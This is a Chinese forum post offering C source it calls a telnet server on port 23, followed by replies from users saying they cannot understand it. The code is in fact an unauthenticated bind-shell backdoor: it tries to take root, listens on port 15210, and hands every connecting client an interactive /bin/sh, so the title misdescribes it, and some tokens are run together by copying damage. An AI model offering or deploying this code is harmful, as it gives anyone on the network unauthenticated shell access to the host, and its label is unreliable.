telnet的server，监听23端口源代码

LouisLaw

2. #include <signal.h>
3. #include <stdio.h>
4. #include <stdlib.h>
5. #include <string.h>
6. #include <sys/types.h>
7. #include <sys/socket.h>
8. #include <errno.h>
9. #include <unistd.h>
10. #include <netinet/in.h>
11. #include <limits.h>
12. #include <netdb.h>
13. #include <arpa/inet.h>
15. #define MAX_CLIENTS 5 /* Max client num*/
16. #define PORT_NUM15210 /* Port*/
18. voidget_connection(socket_type, port, listener)
19. int socket_type;
20. int port;
21. int *listener;
22. {
23. struct sockaddr_inaddress;
24. struct sockaddr_inacc;
25. int listening_socket;
26. int connected_socket = -1;
27. int new_process;
28. int reuse_addr = 1;
29. int acclen=sizeof(acc);
31. memset((char *) &address, 0, sizeof(address));
32. address.sin_family = AF_INET;
33. address.sin_port = htons(port);
34. address.sin_addr.s_addr = htonl(INADDR_ANY);
35. listening_socket = socket(AF_INET, socket_type, 0);
36. if (listening_socket < 0) {
37. perror("socket");
38. exit(1);
39. }
40. if (listener != NULL) *listener = listening_socket;
41. setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
42. (void *)&reuse_addr,sizeof(reuse_addr));
43. if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address))<0
44. ){
45. perror("bind");
46. close(listening_socket);
47. exit(1);
48. }
49. if (socket_type == SOCK_STREAM){
50. if (listen(listening_socket, MAX_CLIENTS)==-1){
51. perror("listen");
52. exit(1);
53. }
54. }
55. }
56. voidsock_puts(sockfd, str)
57. int sockfd;
58. char*str;
59. {
60. charx[2000],*buf;
61. size_tbytes_sent = 0;
62. int this_write,count;
64. sprintf(x,"r%s",str);
65. count=strlen(x);
66. buf=x;
67. while (bytes_sent < count) {
68. do
69. this_write = write(sockfd, buf, count - bytes_sent);
70. while ( (this_write < 0) && (errno == EINTR) );
71. if (this_write <= 0) return;
72. bytes_sent += this_write;
73. buf += this_write;
74. }
75. }
76. int main(argc, argv)
77. int argc;
78. char*argv[];
79. {
80. voidget_connection();
81. voidsock_puts();
82. int i,sz;
83. int sock;
84. static intlistensock = -1;
85. struct sockaddr_in sad;
87. setuid(0);
88. setgid(0);
90. for (;;){
91. get_connection(SOCK_STREAM, PORT_NUM, &listensock);
92. sz=sizeof(struct sockaddr_in);
93. for (;;){
94. if ((sock=accept(listensock,(void *)&sad,&sz))==-1){
95. perror("Accept");
96. exit(1);
97. }
98. if (fork()==0){
99. sock_puts(sock,"The ShadowPenguin Systems Inc. TCP Shell 1.00 ./n");
100. for (i=0;i<3;i++){
101. close(i); dup2(sock,i);
102. }
103. execl("/bin/sh","sh","-i",0);
104. close(sock);
105. break;
106. }
107. }
108. }
109. }

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llydsbgsck

沙发,[s:72][s:72]

k_k_kls

板凳。现在还看不懂啊[s:59]

孤狼520

真的看不懂

顶帖，学习中...............

ax55

向老大致敬[s:72][s:72]

如枫随风

什么阿?一点也不懂...

缘岛Jay

[s:57]眼花缭乱

Parallel

晕落~~~~~~~~~~~~

低调

哈哈，不懂！

wuqu

学习中,不过看起来很烦人...